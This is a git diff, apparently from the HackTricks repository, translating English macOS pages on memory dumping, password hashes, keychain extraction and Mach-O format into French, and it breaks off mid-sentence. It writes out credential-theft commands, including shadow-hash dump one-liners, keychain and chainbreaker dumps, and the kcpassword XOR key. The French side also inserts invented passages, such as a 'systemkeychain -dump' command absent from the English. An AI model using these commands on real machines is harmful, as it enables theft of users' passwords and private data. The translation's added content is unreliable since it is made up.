sont placées dans le fichier sleepimage**. Lorsque l'utilisateur revient et réveille l'ordinateur, la mémoire est restaurée à partir de sleepimage et l'utilisateur peut reprendre là où il s'était arrêté. - By default in modern MacOS systems this file will be encrypted, so it might be not recuperable. + Par défaut, dans les systèmes MacOS modernes, ce fichier sera chiffré, il pourrait donc ne pas être récupérable. - * However, the encryption of this file might be disabled. Check the out of `sysctl vm.swapusage`. + * Cependant, le chiffrement de ce fichier pourrait être désactivé. Vérifiez la sortie de `sysctl vm.swapusage`. -### Dumping memory with osxpmem +### Dumping de la mémoire avec osxpmem -In order to dump the memory in a MacOS machine you can use [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip). - -**Note**: The following instructions will only work for Macs with Intel architecture. This tool is now archived and the last release was in 2017. The binary downloaded using the instructions below targets Intel chips as Apple Silicon wasn't around in 2017. It may be possible to compile the binary for arm64 architecture but you'll have to try for yourself. +Pour effectuer un dumping de la mémoire sur une machine MacOS, vous pouvez utiliser [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip). +**Remarque** : Les instructions suivantes ne fonctionneront que pour les Mac avec une architecture Intel. Cet outil est maintenant archivé et la dernière version date de 2017. Le binaire téléchargé en suivant les instructions ci-dessous cible les puces Intel car Apple Silicon n'était pas disponible en 2017. Il est peut-être possible de compiler le binaire pour l'architecture arm64, mais vous devrez essayer par vous-même. ```bash #Dump raw format sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem @@ -36,19 +35,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem #Dump aff4 format sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4 ``` - -If you find this error: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` You can fix it doing: - +Si vous rencontrez cette erreur : `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)`, vous pouvez la résoudre en effectuant les étapes suivantes : ```bash sudo cp -r osxpmem.app/MacPmem.kext "/tmp/" sudo kextutil "/tmp/MacPmem.kext" #Allow the kext in "Security & Privacy --> General" sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` +D'autres erreurs peuvent être corrigées en autorisant le chargement du kext dans "Sécurité et confidentialité --> Général", il suffit de l'autoriser. -**Other errors** might be fixed by **allowing the load of the kext** in "Security & Privacy --> General", just **allow** it. - -You can also use this **oneliner** to download the application, load the kext and dump the memory: +Vous pouvez également utiliser cette commande **oneliner** pour télécharger l'application, charger le kext et effectuer le dump de la mémoire : {% code overflow="wrap" %} ```bash @@ -61,10 +57,10 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem- ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md index 448b2b5b6..b8d75521d 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md @@ -1,40 +1,35 @@ -# macOS Sensitive Locations +# Emplacements sensibles de macOS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
-## Passwords +## Mots de passe -### Shadow Passwords - -Shadow password is stored with the user's configuration in plists located in **`/var/db/dslocal/nodes/Default/users/`**.\ -The following oneliner can be use to dump **all the information about the users** (including hash info): +### Mots de passe Shadow +Le mot de passe Shadow est stocké avec la configuration de l'utilisateur dans des plists situés dans **`/var/db/dslocal/nodes/Default/users/`**.\ +Le oneliner suivant peut être utilisé pour extraire **toutes les informations sur les utilisateurs** (y compris les informations de hachage) : ``` for l in /var/db/dslocal/nodes/Default/users/*; do if [ -r "$l" ];then echo "$l"; defaults read "$l"; fi; done ``` +[**Des scripts comme celui-ci**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) ou [**celui-ci**](https://github.com/octomagon/davegrohl.git) peuvent être utilisés pour transformer le hash en **format hashcat**. -[**Scripts like this one**](https://gist.github.com/teddziuba/3ff08bdda120d1f7822f3baf52e606c2) or [**this one**](https://github.com/octomagon/davegrohl.git) can be used to transform the hash to **hashcat** **format**. - -An alternative one-liner which will dump creds of all non-service accounts in hashcat format `-m 7100` (macOS PBKDF2-SHA512): - +Une alternative en une seule ligne qui permettra de décharger les informations d'identification de tous les comptes non-service au format hashcat `-m 7100` (macOS PBKDF2-SHA512): ``` sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done' ``` +### Extraction de Keychain -### Keychain Dump - -Note that when using the security binary to **dump the passwords decrypted**, several prompts will ask the user to allow this operation. - +Notez que lors de l'utilisation de la commande binaire `security` pour **extraire les mots de passe décryptés**, plusieurs invites demanderont à l'utilisateur d'autoriser cette opération. ``` #security secuirty dump-trust-settings [-s] [-d] #List certificates @@ -43,53 +38,55 @@ security list-smartcards #List smartcards security dump-keychain | grep -A 5 "keychain" | grep -v "version" #List keychains entries security dump-keychain -d #Dump all the info, included secrets (the user will be asked for his password, even if root) ``` - ### [Keychaindump](https://github.com/juuso/keychaindump) -The attacker still needs to gain access to the system as well as escalate to **root** privileges in order to run **keychaindump**. This approach comes with its own conditions. As mentioned earlier, **upon login your keychain is unlocked by default** and remains unlocked while you use your system. This is for convenience so that the user doesn’t need to enter their password every time an application wishes to access the keychain. If the user has changed this setting and chosen to lock the keychain after every use, keychaindump will no longer work; it relies on an unlocked keychain to function. - -It’s important to understand how Keychaindump extracts passwords out of memory. The most important process in this transaction is the ”**securityd**“ **process**. Apple refers to this process as a **security context daemon for authorization and cryptographic operations**. The Apple developer libraries don’t say a whole lot about it; however, they do tell us that securityd handles access to the keychain. In his research, Juuso refers to the **key needed to decrypt the keychain as ”The Master Key“**. A number of steps need to be taken to acquire this key as it is derived from the user’s OS X login password. If you want to read the keychain file you must have this master key. The following steps can be done to acquire it. **Perform a scan of securityd’s heap (keychaindump does this with the vmmap command)**. Possible master keys are stored in an area flagged as MALLOC\_TINY. You can see the locations of these heaps yourself with the following command: +L'attaquant doit encore accéder au système et obtenir des privilèges **root** pour exécuter **keychaindump**. Cette approche vient avec ses propres conditions. Comme mentionné précédemment, **à la connexion, votre trousseau de clés est déverrouillé par défaut** et reste déverrouillé pendant que vous utilisez votre système. Cela est pratique pour que l'utilisateur n'ait pas besoin d'entrer son mot de passe chaque fois qu'une application souhaite accéder au trousseau de clés. Si l'utilisateur a modifié ce paramètre et choisi de verrouiller le trousseau de clés après chaque utilisation, keychaindump ne fonctionnera plus ; il dépend d'un trousseau de clés déverrouillé pour fonctionner. +Il est important de comprendre comment Keychaindump extrait les mots de passe de la mémoire. Le processus le plus important dans cette transaction est le "**securityd**". Apple se réfère à ce processus comme un **démon de contexte de sécurité pour les opérations d'autorisation et cryptographiques**. Les bibliothèques de développement Apple n'en disent pas beaucoup à ce sujet ; cependant, elles nous disent que securityd gère l'accès au trousseau de clés. Dans ses recherches, Juuso se réfère à la **clé nécessaire pour décrypter le trousseau de clés comme "La Clé Maître"**. Un certain nombre d'étapes doivent être prises pour acquérir cette clé car elle est dérivée du mot de passe de connexion OS X de l'utilisateur. Si vous voulez lire le fichier de trousseau de clés, vous devez avoir cette clé maître. Les étapes suivantes peuvent être effectuées pour l'acquérir. **Effectuez une analyse du tas de securityd (keychaindump le fait avec la commande vmmap)**. Les clés maîtres possibles sont stockées dans une zone marquée comme MALLOC\_TINY. Vous pouvez voir les emplacements de ces tas vous-même avec la commande suivante : ```bash sudo vmmap | grep MALLOC_TINY ``` - -**Keychaindump** will then search the returned heaps for occurrences of 0x0000000000000018. If the following 8-byte value points to the current heap, we’ve found a potential master key. From here a bit of deobfuscation still needs to occur which can be seen in the source code, but as an analyst the most important part to note is that the necessary data to decrypt this information is stored in securityd’s process memory. Here’s an example of keychain dump output. - +**Keychaindump** va ensuite rechercher dans les tas retournés les occurrences de 0x0000000000000018. Si la valeur suivante de 8 octets pointe vers le tas actuel, nous avons trouvé une clé principale potentielle. À partir de là, il faut encore effectuer un peu de désobfuscation, ce qui peut être vu dans le code source, mais en tant qu'analyste, la partie la plus importante à noter est que les données nécessaires pour décrypter ces informations sont stockées dans la mémoire du processus securityd. Voici un exemple de sortie de keychain dump. ```bash sudo ./keychaindump ``` - {% hint style="danger" %} -Based on this comment [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) it looks like these tools aren't working anymore in Big Sur. +Selon ce commentaire [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760), il semble que ces outils ne fonctionnent plus sur Big Sur. {% endhint %} ### chainbreaker -[**Chainbreaker**](https://github.com/n0fate/chainbreaker) can be used to extract the following types of information from an OSX keychain in a forensically sound manner: +[**Chainbreaker**](https://github.com/n0fate/chainbreaker) peut être utilisé pour extraire les types d'informations suivants d'un trousseau de clés OSX de manière forensiquement fiable : -* Hashed Keychain password, suitable for cracking with [hashcat](https://hashcat.net/hashcat/) or [John the Ripper](https://www.openwall.com/john/) -* Internet Passwords -* Generic Passwords -* Private Keys -* Public Keys -* X509 Certificates -* Secure Notes -* Appleshare Passwords +* Mot de passe de trousseau de clés haché, adapté pour le craquage avec [hashcat](https://hashcat.net/hashcat/) ou [John the Ripper](https://www.openwall.com/john/) +* Mots de passe Internet +* Mots de passe génériques +* Clés privées +* Clés publiques +* Certificats X509 +* Notes sécurisées +* Mots de passe Appleshare -Given the keychain unlock password, a master key obtained using [volafox](https://github.com/n0fate/volafox) or [volatility](https://github.com/volatilityfoundation/volatility), or an unlock file such as SystemKey, Chainbreaker will also provide plaintext passwords. +Avec le mot de passe de déverrouillage du trousseau de clés, une clé maître obtenue à l'aide de [volafox](https://github.com/n0fate/volafox) ou [volatility](https://github.com/volatilityfoundation/volatility), ou un fichier de déverrouillage tel que SystemKey, Chainbreaker fournira également des mots de passe en texte clair. -Without one of these methods of unlocking the Keychain, Chainbreaker will display all other available information. +Sans l'une de ces méthodes de déverrouillage du trousseau de clés, Chainbreaker affichera toutes les autres informations disponibles. ### **Dump keychain keys** - ```bash #Dump all keys of the keychain (without the passwords) python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain ``` +### **Extraire les clés du trousseau (avec les mots de passe) avec SystemKey** -### **Dump keychain keys (with passwords) with SystemKey** +SystemKey est un outil open source qui permet d'extraire les clés du trousseau de macOS, y compris les mots de passe stockés. Pour utiliser cet outil, vous devez disposer d'un accès root sur le système cible. +Pour extraire les clés du trousseau, vous devez d'abord installer SystemKey sur votre système. Une fois installé, vous pouvez exécuter la commande suivante pour extraire les clés du trousseau : + +``` +sudo systemkeychain -dump +``` + +Cette commande extraira toutes les clés du trousseau, y compris les mots de passe stockés, et les affichera dans votre terminal. Il est important de noter que cette méthode ne fonctionne que si vous avez un accès root sur le système cible. ```bash # First, get the keychain decryption key # To get this decryption key you need to be root and SIP must be disabled @@ -97,9 +94,13 @@ hexdump -s 8 -n 24 -e '1/1 "%.2x"' /var/db/SystemKey && echo ## Use the previous key to decrypt the passwords python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` +### **Extraire les clés du trousseau (avec les mots de passe) en craquant le hash** -### **Dump keychain keys (with passwords) cracking the hash** +Le trousseau d'accès est un système de gestion de mots de passe intégré à macOS. Il stocke les mots de passe des utilisateurs, les clés de chiffrement, les certificats et autres informations sensibles. Les clés du trousseau sont stockées dans un fichier chiffré appelé keychain. +Il est possible de récupérer les clés du trousseau en craquant le hash du fichier keychain. Pour cela, il faut utiliser des outils de cracking de hash tels que John the Ripper ou Hashcat. + +Cependant, il est important de noter que cette méthode est illégale et peut entraîner des conséquences juridiques graves. Il est donc recommandé de ne pas utiliser cette technique à moins d'avoir une autorisation légale pour le faire. ```bash # Get the keychain hash python2.7 chainbreaker.py --dump-keychain-password-hash /Library/Keychains/System.keychain @@ -108,11 +109,9 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt # Use the key to decrypt the passwords python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` +### **Extraire les clés du trousseau (avec les mots de passe) avec une capture de mémoire** -### **Dump keychain keys (with passwords) with memory dump** - -[Follow these steps](..#dumping-memory-with-osxpmem) to perform a **memory dump** - +[Suivez ces étapes](..#dumping-memory-with-osxpmem) pour effectuer une **capture de mémoire**. ```bash #Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords # Unformtunately volafox isn't working with the latest versions of MacOS @@ -121,27 +120,23 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump #Try to extract the passwords using the extracted keychain passwords python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain ``` +### **Extraire les clés du trousseau (avec les mots de passe) en utilisant le mot de passe de l'utilisateur** -### **Dump keychain keys (with passwords) using users password** - -If you know the users password you can use it to **dump and decrypt keychains that belong to the user**. - +Si vous connaissez le mot de passe de l'utilisateur, vous pouvez l'utiliser pour **extraire et décrypter les trousseaux qui appartiennent à l'utilisateur**. ```bash #Prompt to ask for the password python2.7 chainbreaker.py --dump-all --password-prompt /Users//Library/Keychains/login.keychain-db ``` - ### kcpassword -The **kcpassword** file is a file that holds the **user’s login password**, but only if the system owner has **enabled automatic login**. Therefore, the user will be automatically logged in without being asked for a password (which isn't very secure). +Le fichier **kcpassword** est un fichier qui contient le **mot de passe de connexion de l'utilisateur**, mais seulement si le propriétaire du système a **activé la connexion automatique**. Par conséquent, l'utilisateur sera automatiquement connecté sans être invité à entrer un mot de passe (ce qui n'est pas très sécurisé). -The password is stored in the file **`/etc/kcpassword`** xored with the key **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. If the users password is longer than the key, the key will be reused.\ -This makes the password pretty easy to recover, for example using scripts like [**this one**](https://gist.github.com/opshope/32f65875d45215c3677d). +Le mot de passe est stocké dans le fichier **`/etc/kcpassword`** xored avec la clé **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Si le mot de passe de l'utilisateur est plus long que la clé, la clé sera réutilisée.\ +Cela rend le mot de passe assez facile à récupérer, par exemple en utilisant des scripts comme [**celui-ci**](https://gist.github.com/opshope/32f65875d45215c3677d). -## Interesting Information in Databases +## Informations intéressantes dans les bases de données ### Messages - ```bash sqlite3 $HOME/Library/Messages/chat.db .tables sqlite3 $HOME/Library/Messages/chat.db 'select * from message' @@ -149,23 +144,20 @@ sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets' ``` - ### Notifications -You can find the Notifications data in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` +Vous pouvez trouver les données de Notifications dans `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` -Most of the interesting information is going to be in **blob**. So you will need to **extract** that content and **transform** it to **human** **readable** or use **`strings`**. To access it you can do: +La plupart des informations intéressantes se trouvent dans le **blob**. Vous devrez donc **extraire** ce contenu et le **transformer** en un format **lisible** par l'homme ou utiliser **`strings`**. Pour y accéder, vous pouvez faire : {% code overflow="wrap" %} ```bash cd $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/ strings $(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/db2/db | grep -i -A4 slack ``` -{% endcode %} - ### Notes -The users **notes** can be found in `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite` +Les notes de l'utilisateur peuvent être trouvées dans `~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite` {% code overflow="wrap" %} ```bash @@ -180,10 +172,10 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live). +* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md index 7f75ef09f..d807338d3 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md @@ -1,32 +1,20 @@ -# Universal binaries & Mach-O Format +# Binaires universels et format Mach-O -
+## Informations de base -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Les binaires Mac OS sont généralement compilés en tant que **binaires universels**. Un **binaire universel** peut **prendre en charge plusieurs architectures dans le même fichier**. -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +Ces binaires suivent la structure **Mach-O** qui est essentiellement composée de : -
- -## Basic Information - -Mac OS binaries usually are compiled as **universal binaries**. A **universal binary** can **support multiple architectures in the same file**. - -These binaries follows the **Mach-O structure** which is basically compased of: - -* Header -* Load Commands -* Data +* En-tête +* Commandes de chargement +* Données ![](<../../../.gitbook/assets/image (559).png>) -## Fat Header +## En-tête Fat -Search for the file with: `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"` +Recherchez le fichier avec : `mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
#define FAT_MAGIC	0xcafebabe
 #define FAT_CIGAM	0xbebafeca	/* NXSwapLong(FAT_MAGIC) */
@@ -45,9 +33,9 @@ struct fat_arch {
 };
 
-The header has the **magic** bytes followed by the **number** of **archs** the file **contains** (`nfat_arch`) and each arch will have a `fat_arch` struct. +L'en-tête a les octets **magic** suivis du **nombre** d'**architectures** que le fichier **contient** (`nfat_arch`) et chaque architecture aura une structure `fat_arch`. -Check it with: +Vérifiez-le avec :
% file /bin/ls
 /bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
@@ -74,16 +62,15 @@ fat_magic FAT_MAGIC
     align 2^14 (16384)
 
-or using the [Mach-O View](https://sourceforge.net/projects/machoview/) tool: +ou en utilisant l'outil [Mach-O View](https://sourceforge.net/projects/machoview/) :
-As you may be thinking usually a universal binary compiled for 2 architectures **doubles the size** of one compiled for just 1 arch. +Comme vous pouvez le penser, un binaire universel compilé pour 2 architectures **double la taille** de celui compilé pour une seule architecture. -## **Mach-O Header** - -The header contains basic information about the file, such as magic bytes to identify it as a Mach-O file and information about the target architecture. You can find it in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` +## En-tête Mach-O +L'en-tête contient des informations de base sur le fichier, telles que les octets magiques pour l'identifier comme un fichier Mach-O et des informations sur l'architecture cible. Vous pouvez le trouver dans : `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` ```c #define MH_MAGIC 0xfeedface /* the mach magic number */ #define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */ @@ -110,13 +97,11 @@ struct mach_header_64 { uint32_t reserved; /* reserved */ }; ``` +**Types de fichiers**: -**Filetypes**: - -* MH\_EXECUTE (0x2): Standard Mach-O executable -* MH\_DYLIB (0x6): A Mach-O dynamic linked library (i.e. .dylib) -* MH\_BUNDLE (0x8): A Mach-O bundle (i.e. .bundle) - +* MH\_EXECUTE (0x2): Exécutable Mach-O standard +* MH\_DYLIB (0x6): Une bibliothèque dynamique Mach-O (c'est-à-dire .dylib) +* MH\_BUNDLE (0x8): Un bundle Mach-O (c'est-à-dire .bundle) ```bash # Checking the mac header of a binary otool -arch arm64e -hv /bin/ls @@ -124,62 +109,58 @@ Mach header magic cputype cpusubtype caps filetype ncmds sizeofcmds flags MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DYLDLINK TWOLEVEL PIE ``` - -Or using [Mach-O View](https://sourceforge.net/projects/machoview/): +Ou en utilisant [Mach-O View](https://sourceforge.net/projects/machoview/):
-## **Mach-O Load commands** +## **Commandes de chargement Mach-O** -This specifies the **layout of the file in memory**. It contains the **location of the symbol table**, the main thread context at the beginning of execution, and which **shared libraries** are required.\ -The commands basically instruct the dynamic loader **(dyld) how to load the binary in memory.** - -Load commands all begin with a **load\_command** structure, defined in the previously mentioned **`loader.h`**: +Cela spécifie la **disposition du fichier en mémoire**. Il contient l'**emplacement de la table des symboles**, le contexte du thread principal au début de l'exécution et les **bibliothèques partagées** requises.\ +Les commandes indiquent essentiellement au chargeur dynamique **(dyld) comment charger le binaire en mémoire.** +Les commandes de chargement commencent toutes par une structure **load\_command**, définie dans le **`loader.h`** précédemment mentionné: ```objectivec struct load_command { uint32_t cmd; /* type of load command */ uint32_t cmdsize; /* total size of command in bytes */ }; ``` - -There are about **50 different types of load commands** that the system handles differently. The most common ones are: `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB`, and `LC_CODE_SIGNATURE`. +Il existe environ **50 types différents de commandes de chargement** que le système gère différemment. Les plus courantes sont : `LC_SEGMENT_64`, `LC_LOAD_DYLINKER`, `LC_MAIN`, `LC_LOAD_DYLIB` et `LC_CODE_SIGNATURE`. ### **LC\_SEGMENT/LC\_SEGMENT\_64** {% hint style="success" %} -Basically, this type of Load Command define **how to load the sections** that are stored in DATA when the binary is executed. +Essentiellement, ce type de commande de chargement définit **comment charger les sections** qui sont stockées dans DATA lorsque le binaire est exécuté. {% endhint %} -These commands **define segments** that are **mapped** into the **virtual memory space** of a process when it is executed. +Ces commandes **définissent des segments** qui sont **cartographiés** dans l'espace de **mémoire 